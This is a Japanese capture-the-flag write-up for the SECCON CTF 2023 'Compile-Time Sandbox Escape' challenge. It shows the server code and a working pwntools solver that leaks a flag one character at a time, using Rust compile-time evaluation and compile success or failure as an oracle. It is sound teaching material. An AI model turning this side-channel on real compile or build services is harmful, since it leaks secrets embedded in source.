- Source: SECCON CTF 2023 Quals
- Author: ark
任意のRustコードを送るとコンパイルしてくれるサーバー。
app.py
import sys
import re
import os
import subprocess
import tempfile
FLAG = os.environ["FLAG"]
assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG)
os.environ.pop("FLAG")
TEMPLATE = """
fn main() {
{{YOUR_PROGRAM}}
/* Steal me: {{FLAG}} */
}
""".strip()
print("""
🦀 Compile-Time Sandbox Escape 🦀
Input your program (the last line must start with __EOF__):
""".strip(), flush=True)
program = ""
while True:
line = sys.stdin.readline()
if line.startswith("__EOF__"):
break
program += line
if len(program) > 512:
print("Your program is too long. Bye👋".strip())
exit(1)
source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program)
with tempfile.NamedTemporaryFile(suffix=".rs") as file:
file.write(source.encode())
file.flush()
try:
proc = subprocess.run(
["rustc", file.name],
cwd="/tmp",
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
timeout=2,
)
print(":)" if proc.returncode == 0 else ":(")
except subprocess.TimeoutExpired:
print("timeout")
コンパイルが成功したか否かだけを教えてくれるらしい。Ferrisくんかわいいね。
$ nc localhost 1337
🦀 Compile-Time Sandbox Escape 🦀
Input your program (the last line must start with __EOF__):
println!("hello, world!");
__EOF__
:)
$ nc localhost 1337
🦀 Compile-Time Sandbox Escape 🦀
Input your program (the last line must start with __EOF__):
hoge
__EOF__
:(
プログラム内に埋め込まれているflagをどうにかして読み出したい。
TEMPLATE = """
fn main() {
{{YOUR_PROGRAM}}
/* Steal me: {{FLAG}} */
}
""".strip()
Rustでは、include_str!()
マクロによって引数で指定したファイルに含まれる文字列を、file!()
マクロによってそのファイルの絶対パスを取得できる。よって、以下のようなコードでそのプログラム自身を取得することが可能。
fn main() {
println!("{}", include_str!(file!()))
}
次に、この問題ではコンパイルエラーが発生したか否かのみしか返してくれないため、条件に基づいて意図的にコンパイルエラーを起こす方法を考える。色々調べたり試したりしたが、最終的には配列外参照によるエラーを利用することにした。
fn main() {
const fn assert_const(condition: bool) {
[()][condition as usize];
}
const _:() = assert_const(true);
}
これらを組み合わせて、ソースコードのn+1文字目が指定したものであるかどうかによってコンパイルエラーを引き起こすことができた。
fn main() {
const SOURCE: &str = include_str!(file!());
const fn assert_const(condition: bool) {
[()][condition as usize];
}
const fn check(index: usize, c: char) {
assert_const(SOURCE.as_bytes()[index] as char == c)
}
const _:() = check(0, 'f');
}
あとはflagの始まりのindexを頑張って特定して1文字ずつブルートフォースするだけ。
最終的なsolverはこうなる。
from pwn import *
PAYLOAD = """
const SOURCE: &str = include_str!(file!());
const fn assert_const(condition: bool) {
[()][condition as usize];
}
const fn check(index: usize, c: char) {
assert_const(SOURCE.as_bytes()[index] as char == c)
}
const _:() = check({{INDEX}}, '{{CHAR}}');
"""
# disable info log
context.log_level = "error"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}"
flag = "SECCON{"
# 324 is start index of the flag
for i in range(324, 512):
# skip "SECCON{"
i += 7
for j in range(len(charset)):
p = remote("localhost", 1337)
p.recvuntil(b"(the last line must start with __EOF__):\n")
p.sendline(PAYLOAD.replace("{{INDEX}}", str(i)).replace("{{CHAR}}", charset[j]) + "__EOF__")
recv = p.recvall()
if b":)" in recv:
p.close()
continue
flag += charset[j]
print(flag)
p.close()
break
if flag[-1] == "}":
break
実行してしばらく待つとflagが得られた。
SECCON{ctfe_i5_p0w3rful}
Comments
Let's comment your feelings that are more than good